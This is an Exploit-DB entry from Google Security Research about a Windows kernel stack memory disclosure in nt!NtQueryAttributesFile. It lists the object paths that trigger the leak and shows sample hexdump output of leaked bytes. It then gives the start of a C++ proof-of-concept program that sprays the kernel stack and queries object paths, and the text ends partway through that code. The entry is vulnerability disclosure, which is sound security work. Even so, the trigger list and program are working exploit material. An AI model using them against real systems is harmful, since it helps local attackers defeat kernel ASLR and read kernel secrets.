Exploit-DB #44459
Description: Microsoft Windows - 'nt!NtQueryAttributesFile' Kernel Stack Memory Disclosure
Type: dos
Platform: windows
Date: 2018-04-16
Author: Google Security Research

Exploit:
/*
We have discovered that the nt!NtQueryAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\ArcName\multi(0)disk(0)rdisk(0)partition(1)"
  "\GLOBAL??\Harddisk0Partition1"
  "\GLOBAL??\Volume{GUID}"
  "\GLOBAL??\SystemPartition"
  "\GLOBAL??\STORAGE#Volume#{GUID}#[PII_REDACTED]#{GUID}"
  "\GLOBAL??\HarddiskVolume1"
  "\Device\SystemPartition"
  "\Device\HarddiskVolume1"
--- cut ---

The output structure returned by the system call is FILE_BASIC_INFORMATION [1]:

--- cut ---
  typedef struct _FILE_BASIC_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    ULONG         FileAttributes;
  } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
--- cut ---

In case of the above affected paths, the 4-byte "FileAttributes" field is never initialized. As the kernel uses a temporary copy of the structure that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
  Name: \ArcName\multi(0)disk(0)rdisk(0)partition(1), Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\Harddisk0Partition1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\Volume{GUID}, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\SystemPartition, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\STORAGE#Volume#{GUID}#[PII_REDACTED]#{GUID}, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\HarddiskVolume1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \Device\SystemPartition, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \Device\HarddiskVolume1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY    0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_BASIC_INFORMATION {
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  ULONG         FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
  UNICODE_STRING Name;
  UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;

extern "C" {
  NTSTATUS NTAPI NtQueryAttributesFile(
    _In_  POBJECT_ATTRIBUTES      ObjectAttributes,
    _Out_ PFILE_BASIC_INFORMATION FileInformation
  );

  NTSTATUS WINAPI NtQueryDirectoryObject(
    _In_      HANDLE  DirectoryHandle,
    _Out_opt_ PVOID   Buffer,
    _In_      ULONG   Length,
    _In_      BOOLEAN ReturnSingleEntry,
    _In_      BOOLEAN RestartScan,
    _Inout_   PULONG  Context,
    _Out_opt_ PULONG  ReturnLength
  );

  NTSTATUS WINAPI NtOpenDirectoryObject(
    _Out_ PHANDLE            DirectoryHandle,
    _In_  ACCESS_MASK        DesiredAccess,
    _In_  POBJECT_ATTRIBUTES ObjectAttributes
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte